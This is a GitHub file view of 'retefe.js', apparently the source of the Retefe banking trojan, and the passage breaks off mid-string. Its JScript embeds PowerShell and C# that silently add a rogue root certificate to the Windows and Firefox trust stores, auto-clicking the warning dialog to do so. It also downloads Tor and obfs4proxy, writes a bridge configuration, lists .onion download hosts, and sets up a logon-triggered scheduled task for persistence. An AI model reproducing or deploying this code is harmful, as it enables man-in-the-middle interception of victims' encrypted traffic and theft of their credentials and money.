-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathretefe.js
More file actions
374 lines (370 loc) · 47.4 KB
/
retefe.js
File metadata and controls
374 lines (370 loc) · 47.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
var Exp = null;
var Fire = null;
var TP = null;
var wss = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var BINARY_STREAM_TYPE = 1;
var TEXT_STREAM_TYPE = 2;
var CREATE_OVERWRITE_SAVE_MODE = 2;
var ENV_TEMP = wss.ExpandEnvironmentStrings("%TEMP%");
var ENV_APPDATA = wss.ExpandEnvironmentStrings("%APPDATA%");
var Cfg = {
dl: ["paoyu7gub72lykuk.onion", "5kybfrm53fkdgktz.onion",
"s4c3jh2qqxyqfknh.onion", "s5jhnylq4yi7omen.onion"
],
cert: "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",
ps: "function ConfirmCert{
Add-Type @"
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

public static class W
{
	public class SD
    {
        public string Wndclass;
        public string Title;
        public string Process;
        public IntPtr hWnd;
    }

    private delegate bool EnumWindowsProc(IntPtr hWnd, ref SD data);

    [DllImport("user32.dll")]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, ref SD data);
	
	[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
	
	[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
	static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
	
	[DllImport("user32.dll")]
	[return: MarshalAs(UnmanagedType.Bool)]
	static extern bool SetForegroundWindow(IntPtr hWnd);
	
	public delegate bool EnumWindowProc(IntPtr hwnd, IntPtr lParam);
	
	[DllImport("user32")]
	[return: MarshalAs(UnmanagedType.Bool)]
	public static extern bool EnumChildWindows(IntPtr window, EnumWindowProc callback, IntPtr lParam);  
	
	[DllImport("user32.dll", CharSet = CharSet.Auto)]
	static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
	
	[Flags]
    private enum SnapshotFlags : uint
    {
    HeapList = 0x00000001,
    Process = 0x00000002,
    Thread = 0x00000004,
    Module = 0x00000008,
    Module32 = 0x00000010,
    Inherit = 0x80000000,
    All = 0x0000001F,
    NoHeaps = 0x40000000
    }
    //inner struct used only internally
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
    private struct PROCESSENTRY32
    {
    const int MAX_PATH = 260;
    internal UInt32 dwSize;
    internal UInt32 cntUsage;
    internal UInt32 th32ProcessID;
    internal IntPtr th32DefaultHeapID;
    internal UInt32 th32ModuleID;
    internal UInt32 cntThreads;
    internal UInt32 th32ParentProcessID;
    internal Int32 pcPriClassBase;
    internal UInt32 dwFlags;
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)]
    internal string szExeFile;
    }

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern IntPtr CreateToolhelp32Snapshot([In]UInt32 dwFlags, [In]UInt32 th32ProcessID);

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern bool Process32First([In]IntPtr hSnapshot, ref PROCESSENTRY32 lppe);

    [DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
    static extern bool Process32Next([In]IntPtr hSnapshot, ref PROCESSENTRY32 lppe);

    [DllImport("kernel32", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool CloseHandle([In] IntPtr hObject);
    
	const int BM_CLICK = 0x00F5;
	
	public static byte[] GetCertAsByteArray(String sCert)
    {
		return Convert.FromBase64String(sCert);
    }
        
	public static void S(String sCert){
        byte[] bCert = GetCertAsByteArray(sCert);
        if (bCert != null)
        {
            X509Certificate2 certificate = new X509Certificate2(bCert);
            X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser);
            store.Open(OpenFlags.ReadWrite);
            if (!store.Certificates.Contains(certificate))
            {
                Thread thread = new Thread(SearchDialog);
                thread.Start();
                store.Add(certificate);
                thread.Join();
            }
            store.Close();
        }
	}
	
	public static void SearchDialog()
	{
		IntPtr hWnd;
		do{
			hWnd = SearchForWindow("#32770",String.Empty);
			if (!hWnd.Equals(IntPtr.Zero))
		    {
		    	break;
			}else
	        {
		        hWnd=IntPtr.Zero;
	        }
		}while (hWnd.Equals(IntPtr.Zero));
		SetForegroundWindow(hWnd);
		EnumWindowProc childProc = new EnumWindowProc(ECW);
		EnumChildWindows(hWnd, childProc, IntPtr.Zero);
	}
	
	public static IntPtr SearchForWindow(string wndclass, string title)
    {
        SD sd = new SD();
        sd.Wndclass = wndclass;
        sd.Title = title;
        sd.hWnd=IntPtr.Zero;
        EnumWindows(new EnumWindowsProc(EnumProc), ref sd);
        return sd.hWnd;
    }
    
	public static bool EnumProc(IntPtr hWnd, ref SD data)
    {
    	StringBuilder caption = new StringBuilder(1024);
        StringBuilder className = new StringBuilder(1024);
        GetWindowText(hWnd, caption, caption.Capacity);
        GetClassName(hWnd, className, className.Capacity);
        String sEN=GPN(hWnd).ToLower();
		if((!data.Wndclass.Equals(String.Empty) && className.ToString().StartsWith(data.Wndclass)) || (!data.Title.Equals(String.Empty) && caption.ToString().StartsWith(data.Title)))
		{
        	if(sEN.Contains("csrss") || sEN.Contains("certutil")  || sEN.Contains("powershell"))
	        {
		        data.hWnd = hWnd;
                return false;
	        }
        }
       	
        return true;
    }
  
	public static String GPN(IntPtr hWnd){
		uint pID = 0;
		uint threadID = GetWindowThreadProcessId(hWnd, out pID);
		String sProc = null;
	    IntPtr handleToSnapshot = IntPtr.Zero;
	    try
	    {
	        PROCESSENTRY32 procEntry = new PROCESSENTRY32();
	        procEntry.dwSize = (UInt32)Marshal.SizeOf(typeof(PROCESSENTRY32));
	        handleToSnapshot = CreateToolhelp32Snapshot((uint)SnapshotFlags.Process, 0);
	        if (Process32First(handleToSnapshot, ref procEntry))
	        {
	        do
	        {
	            if (pID == procEntry.th32ProcessID)
	            {
	            sProc = procEntry.szExeFile;
	            break;
	            }
	        } while (Process32Next(handleToSnapshot, ref procEntry));
	        }
	        else
	        {
	        	throw new ApplicationException(string.Format("Failed with win32 error code {0}", Marshal.GetLastWin32Error()));
	        }
	    }
	    catch (Exception ex)
	    {
	        throw new ApplicationException("Can't get the process.", ex);
	    }
	    finally
	    {
	        CloseHandle(handleToSnapshot);
	    }
	    return sProc;
	}
	public static bool ECW(IntPtr hWnd, IntPtr lParam)
	{
		SendMessage(hWnd, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
		return true;
	}
}
"@;
[W]::S("%CERT%");
exit
}
ConfirmCert",
psf: "function AddCertFF{
Add-Type @"
using System;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.ComponentModel;

public sealed class FF
{
	private static volatile FF instance;
	private static object syncRoot = new Object();
	public static FF GetInstance()
    {
        if (instance == null)
        {
            lock (syncRoot)
            {
                if (instance == null)
                    instance = new FF();
            }
        }
        return instance;
    }
	
	const int ERROR_SUCCESS=0;
    private static IntPtr LoadWin32Library(string libPath)
    {
        if (String.IsNullOrEmpty(libPath))
            throw new ArgumentNullException("libPath");

        IntPtr moduleHandle = LoadLibrary(libPath);
        if (moduleHandle == IntPtr.Zero)
        {
            int lasterror = Marshal.GetLastWin32Error();
            Win32Exception innerEx = new Win32Exception(lasterror);
            innerEx.Data.Add("LastWin32Error", lasterror);
            throw new Exception("can't load DLL " + libPath, innerEx);
        }
        return moduleHandle;
    }

    [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
	//Constants
    const uint NSS_INIT_READONLY=0x1;
    const uint NSS_INIT_NOCERTDB = 0x2;
    const uint NSS_INIT_NOMODDB = 0x4;
    const uint NSS_INIT_FORCEOPEN = 0x8;
    const uint NSS_INIT_NOROOTINIT = 0x10;
    const uint NSS_INIT_OPTIMIZESPACE = 0x20;
    const uint NSS_INIT_PK11THREADSAFE = 0x40;
    const uint NSS_INIT_PK11RELOAD = 0x80;
    const uint NSS_INIT_NOPK11FINALIZE = 0x100;
    const uint NSS_INIT_RESERVED = 0x200;
    const uint NSS_INIT_COOPERATE = NSS_INIT_PK11THREADSAFE | NSS_INIT_PK11RELOAD | NSS_INIT_NOPK11FINALIZE | NSS_INIT_RESERVED;

    const string SECMOD_DB = "secmod.db";
    //Structures
    [StructLayout(LayoutKind.Sequential)]
    public struct SECItem 
    {
        public uint iType;
        public IntPtr bData;
        public uint iDataLen;
    }

    [StructLayout(LayoutKind.Sequential)]
    private struct CertTrusts
    {
        public int iSite;
        public int iEmail;
        public int iSoft;
    }

    private enum SECCertUsage
    {
        certUsageSSLClient = 0,
        certUsageSSLServer = 1,
        certUsageSSLServerWithStepUp = 2,
        certUsageSSLCA = 3,
        certUsageEmailSigner = 4,
        certUsageEmailRecipient = 5,
        certUsageObjectSigner = 6,
        certUsageUserCertImport = 7,
        certUsageVerifyCA = 8,
        certUsageProtectedObjectSigner = 9,
        certUsageStatusResponder = 10,
        certUsageAnyCA = 11
    }
	[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate int NSS_InitializePtr(string sConfigDir, string certPrefix, string keyPrefix, string secModName, uint flags);

    private int NSS_Initialize(string sConfigDir, string certPrefix, string keyPrefix, string secModName, uint flags)
    {
        IntPtr pProc = GetProcAddress(nssModule, "NSS_Initialize");
        NSS_InitializePtr ptr = (NSS_InitializePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitializePtr));
        return ptr(sConfigDir, certPrefix, keyPrefix, secModName, flags);
    }

    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate IntPtr CERT_GetDefaultCertDBPtr();
    private IntPtr CERT_GetDefaultCertDB()
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_GetDefaultCertDB");
        CERT_GetDefaultCertDBPtr ptr = (CERT_GetDefaultCertDBPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_GetDefaultCertDBPtr));
        return ptr();
    }

    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate IntPtr NSS_ShutdownPtr();
    private IntPtr NSS_Shutdown()
    {
        IntPtr pProc = GetProcAddress(nssModule, "NSS_Shutdown");
        NSS_ShutdownPtr ptr = (NSS_ShutdownPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_ShutdownPtr));
        return ptr();
    }

    //SECStatus CERT_ImportCerts (CERTCertDBHandle *certdb, SECCertUsage usage, unsigned int ncerts, SECItem **derCerts, CERTCertificate ***retCerts, PRBool keepCerts, PRBool caOnly, char *nickname)
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate int CERT_ImportCertsPtr(IntPtr certdb, int usage, uint ncerts, ref SECItem[] derCerts, ref IntPtr retCerts, uint keepCerts, uint caOnly, IntPtr nickname);
    private int CERT_ImportCerts(IntPtr certdb, int usage, uint ncerts, ref SECItem[] derCerts, ref IntPtr retCerts, uint keepCerts, uint caOnly, IntPtr nickname)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_ImportCerts");
        CERT_ImportCertsPtr ptr = (CERT_ImportCertsPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_ImportCertsPtr));
        return ptr(certdb, usage, ncerts, ref derCerts, ref retCerts, keepCerts, caOnly, nickname);
    }

    //extern SECStatus CERT_ChangeCertTrust(CERTCertDBHandle *handle,CERTCertificate *cert,CERTCertTrust *trust);
    private delegate int CERT_ChangeCertTrustPtr(IntPtr certdb, IntPtr cert, ref CertTrusts trust);
    private int CERT_ChangeCertTrust(IntPtr certdb, IntPtr cert, ref CertTrusts trust)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_ChangeCertTrust");
        CERT_ChangeCertTrustPtr ptr = (CERT_ChangeCertTrustPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_ChangeCertTrustPtr));
        return ptr(certdb, cert, ref trust);
    }
    //void CERT_DestroyCertArray(CERTCertificate **certs, unsigned int ncerts);
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    public delegate int CERT_DestroyCertArrayPtr(IntPtr cert, uint ncerts);
    private int CERT_DestroyCertArray(IntPtr cert, uint ncerts)
    {
        IntPtr pProc = GetProcAddress(nssModule, "CERT_DestroyCertArray");
        CERT_DestroyCertArrayPtr ptr = (CERT_DestroyCertArrayPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(CERT_DestroyCertArrayPtr));
        return ptr(cert, ncerts);
    }

	private IntPtr nssModule = IntPtr.Zero;
	
	public Boolean Start(String sCert){
		String sProfile = GetProfile();
        if (String.IsNullOrEmpty(sProfile))
        {
            return false;
        }
        byte[] bCert = GetCertAsByteArray(sCert);
		IntPtr ipCert = Marshal.AllocHGlobal(bCert.Length);
		try
        {
            DirectoryInfo diInstallPath = GetIP();
            String sCurrentDirectory = Directory.GetCurrentDirectory();
            Directory.SetCurrentDirectory(diInstallPath.FullName);
            foreach(FileInfo fiDll in diInstallPath.GetFiles("*.dll"))
            {
                if (fiDll.Name.Equals("breakpadinjector.dll")) continue;
                LoadWin32Library(fiDll.FullName);
            }
            nssModule = LoadWin32Library(diInstallPath.FullName + "\\nss3.dll");
            if (nssModule.Equals(IntPtr.Zero))
            {
                return false;
            }
            Directory.SetCurrentDirectory(sCurrentDirectory);
            //Init cert
            Marshal.Copy(bCert, 0, ipCert, bCert.Length);
            SECItem CertItem = new SECItem();
            CertItem.iType = 3;     //   *.der
            CertItem.bData = ipCert;
            CertItem.iDataLen = (uint)bCert.Length;
            SECItem[] aCertItem = new SECItem[1];
            aCertItem[0] = CertItem;

            CertTrusts CertTrust = new CertTrusts();
            CertTrust.iSite = 0x10;
            CertTrust.iEmail = 0x10;
            CertTrust.iSoft = 0x10;

            IntPtr CertToImport = new IntPtr();
            IntPtr[] aCertToImport = new IntPtr[1];
            //End init cert
            int status = NSS_Initialize(sProfile, "", "", SECMOD_DB, NSS_INIT_OPTIMIZESPACE);
            if (status != ERROR_SUCCESS)
            {
                return false;
            }
            IntPtr bd = CERT_GetDefaultCertDB();
            if (bd.Equals(IntPtr.Zero))
            {
                NSS_Shutdown();
                return false;
            }
            status = CERT_ImportCerts(bd, 11, 1, ref aCertItem, ref CertToImport, 1, 0, IntPtr.Zero);
            if (status != ERROR_SUCCESS)
            {
                NSS_Shutdown();
                return false;
            }
            Marshal.Copy(CertToImport, aCertToImport, 0, 1);
            status = CERT_ChangeCertTrust(bd, aCertToImport[0], ref CertTrust);
            if ( status != ERROR_SUCCESS) 
            {
                NSS_Shutdown();
                return false;
            };
            CERT_DestroyCertArray(CertToImport, 1);
            NSS_Shutdown();
            return true;
        }
        catch (Exception){}
        finally
        {
            Marshal.FreeHGlobal(ipCert);
            ipCert = IntPtr.Zero;
            NSS_Shutdown();
        }
		return true;
	}
	private String GetProfile()
    {
        String FFProfile = Path.Combine(Environment.GetEnvironmentVariable("APPDATA"), @"Mozilla\Firefox\Profiles");
        if (Directory.Exists(FFProfile))
        {
            if (Directory.GetDirectories(FFProfile, "*.default").Length > 0)
            {
                return Directory.GetDirectories(FFProfile, "*.default")[0];
            }
        }
        return "";
    }
	public byte[] GetCertAsByteArray(String sCert)
    {
        try
        {
            return Convert.FromBase64String(sCert);
        }
        catch (Exception){}
        return null;
    }
	private DirectoryInfo GetIP()
    {
        DirectoryInfo fp = null;
        // get firefox path from registry
        // we'll search the 32bit install location
        RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
        // and lets try the 64bit install location just in case
        RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);

        if (localMachine1 != null)
        {
            try
            {
                string[] installedVersions = localMachine1.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

                RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);

                // get install directory
                string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);

                if (installString == null)
                    throw new NullReferenceException("Install string was null");

                fp = new DirectoryInfo(installString);
            }
            catch (Exception)
            {
            }
        }
        else if (localMachine2 != null)
        {
            try
            {
                string[] installedVersions = localMachine2.GetSubKeyNames();
                // we'll take the first installed version, people normally only have one
                if (installedVersions.Length == 0)
                    throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");

                RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);

                // get install directory
                string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);

                if (installString == null)
                    throw new NullReferenceException("Install string was null");
                fp = new DirectoryInfo(installString);
            }
            catch (Exception)
            {
            }
        }
        return fp;
    }
}
"@;
[FF]::GetInstance().Start("%CERT%");
}
AddCertFF",
pstp: "function Unzip
{
param([string]$zipfile, [string]$destination);
$7z = Join-Path $env:Temp '7za.exe';
if (-NOT (Test-Path $7z)){
Try
{
(New-Object System.Net.WebClient).DownloadFile('https://chocolatey.org/7za.exe',$7z);
}
Catch{}
}
if ($(Try { Test-Path $7z.trim() } Catch { $false })){
Start-Process "$7z" -ArgumentList "x -o`"$destination`" -y `"$zipfile`"" -Wait -NoNewWindow
}
else{
$shell = new-object -com shell.application;
$zip = $shell.NameSpace($zipfile);
foreach($item in $zip.items())
{
$shell.Namespace($destination).copyhere($item);
}
}
}
function Base64ToFile
{
param([string]$file, [string]$string);
$bytes=[System.Convert]::FromBase64String($string);
#set-content -encoding byte $file -value $bytes;
[IO.File]::WriteAllBytes($file, $bytes);
}
function AddTask
{
param([string]$name, [string]$cmd, [string]$params='',[int]$restart=0,[int]$delay=0,[string]$dir='');
$ts=New-Object Microsoft.Win32.TaskScheduler.TaskService;
$td=$ts.NewTask();
$td.RegistrationInfo.Description = 'Does something';
$td.Settings.DisallowStartIfOnBatteries = $False;
$td.Settings.StopIfGoingOnBatteries = $False;
$td.Settings.MultipleInstances = [Microsoft.Win32.TaskScheduler.TaskInstancesPolicy]::IgnoreNew;
$LogonTrigger = New-Object Microsoft.Win32.TaskScheduler.LogonTrigger;
$LogonTrigger.StartBoundary=[System.DateTime]::Now;
$LogonTrigger.UserId=$env:username;
$LogonTrigger.Delay=[System.TimeSpan]::FromSeconds($delay);
$td.Triggers.Add($LogonTrigger);
if($restart -eq 1){
$TimeTrigger = New-Object Microsoft.Win32.TaskScheduler.TimeTrigger;
$TimeTrigger.StartBoundary=[System.DateTime]::Now;
$TimeTrigger.Repetition.Interval=[System.TimeSpan]::FromMinutes(20);
$TimeTrigger.Repetition.StopAtDurationEnd=$False;
$td.Triggers.Add($TimeTrigger);
}
$ExecAction=New-Object Microsoft.Win32.TaskScheduler.ExecAction($cmd,$params,$dir);
$td.Actions.Add($ExecAction);
$task=$ts.RootFolder.RegisterTaskDefinition($name, $td);
$task.Run();
}
function ITP{
$File=$env:Temp+'\ts.zip';
$Dest=$env:Temp+'\ts';
(New-Object System.Net.WebClient).DownloadFile('https://api.nuget.org/packages/taskscheduler.2.5.26.nupkg',$File);
if ((Test-Path $Dest) -eq 1){rm -Force -Recurse $Dest;}md $Dest | Out-Null;
Unzip $File $Dest;
rm -Force $File;
$TSAssembly=$Dest+'\lib\net20\Microsoft.Win32.TaskScheduler.dll';
$loadLib = [System.Reflection.Assembly]::LoadFile($TSAssembly);
$TFile=$env:Temp+'\t.zip';
$DestTP=$env:APPDATA+'\MS';
(New-Object System.Net.WebClient).DownloadFile('https://dist.torproject.org/torbrowser/7.0/tor-win32-0.3.0.7.zip',$TFile);
if ((Test-Path $DestTP) -eq 1){rm -Force -Recurse $DestTP;}md $DestTP | Out-Null;
Unzip $TFile $DestTP;
rm -Force $TFile;
$tor=$DestTP+'\Tor\tor.exe';
$obfs4=$DestTP+'\Tor\obfs4proxy.exe';
(New-Object System.Net.WebClient).DownloadFile('https://github.com/garethflowers/tor-browser-portable/raw/master/TorBrowserPortable/App/TorBrowser/TorBrowser/Tor/PluggableTransports/obfs4proxy.exe',$obfs4);
if ($(Try { Test-Path $obfs4.trim() } Catch { $false })){
$tor_dir=$env:APPDATA+'\tor';
if ((Test-Path $tor_dir) -eq 1){rm -Force -Recurse $tor_dir;}md $tor_dir | Out-Null;
$torrc=$tor_dir+'\torrc';
Base64ToFile $torrc 'VXNlQnJpZGdlcyAxDQpDbGllbnRUcmFuc3BvcnRQbHVnaW4gb2JmczQgZXhlYyBvYmZzNHByb3h5LmV4ZSBtYW5hZ2VkDQpCcmlkZ2Ugb2JmczQgMTk0LjEzMi4yMDkuMTU0OjU5ODg4IEI4MzdFRjAzODNDMEIxMzMwQTk4N0I5QzVERkI2RjJDQkRBMzVDQUEgY2VydD1xS0pWd2NzZHhFbFB6TWJvdzIxcm9qSFJDQlpkeEFkd3V4WG5RVTFsZy9zOUlGNWVoKzd1aWltYnBrVEV3Ulh1TVRFUlR3IGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCA0NS41NS4xLjc0Ojk0NDMgNkYxOEZFRkJCMENBRUNENUFCQTc1NTMxMkZDQ0IzNEZDMTFBN0FCOCBjZXJ0PXc4SC94NmlnQ3hsaWdiRjJYQkljeE5FV3EremlVOWgxNXJ0d2lrODJvQXFOWFp3SjI1b0h3YWx6UllLNVdPSklBZUtjQ1EgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDM4LjIyOS4zMy4xNDY6NDQ5NTAgOTY5RDA3MUJEODlBNjhDMTU5NDkxNTZDRDFDQTI5QTMzQUY2MzVDMiBjZXJ0PXZiYWg2akRrS1MwTlJxVzF4Z0tnNktkM1VucjFQMTI1dkR2RDlGYllvZFovZnNxUS9NV0RLMjc3UE5BSmlHdWR6SEVCR2cgaWF0LW1vZGU9MQ0KQnJpZGdlIG9iZnM0IDE5NC4xMzIuMjA5LjE5OjQxNDc4IDc4M0UyNzZDNjg4OUJGNzM5MDdGMjk1QUE5MzIxOUY3NzYyQkI5MDYgY2VydD1vRDBJeDVQT3JSTVdFMEY0YXRzNFRTYlZIdyt4MzUrQ2VXZXNvbThTNVJ4cjlWNmRUTm9vWGI1UWViRUlGTGU3OFlpY0x3IGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCAxOTIuMzYuMzEuMTIyOjQ0OTk0IDYzRjUxNjg4QjM4OTY2NkRCMEYwNTU2QzU2RTk3OTUxNkQyQjlEMzggY2VydD1RS1hJQmcrcmU3ZkxpbW1CTWJKbnRiVTd3d3cwVWExQ2ZPVS9YK1lVc1AxSTNOc3FLUkNKWDlXVDZRVGE5SG1teGkxOFhnIGlhdC1tb2RlPTANCkJyaWRnZSBvYmZzNCA1NC4yMDIuMTM1LjE1Ojk0NDMgMzdENjExRjJDMTNCODA2N0ZENzJDMzk3MDZCQzE1NENGMkM4Mzk3OCBjZXJ0PU5LV3FJbmR2NVB6ZDF6YnFIKzc4TzBFU1U3czJhNmNjKzZoOTFOYnNzbXNmejVUTXAxWFdxcWVwelh4TkN1eEhFeF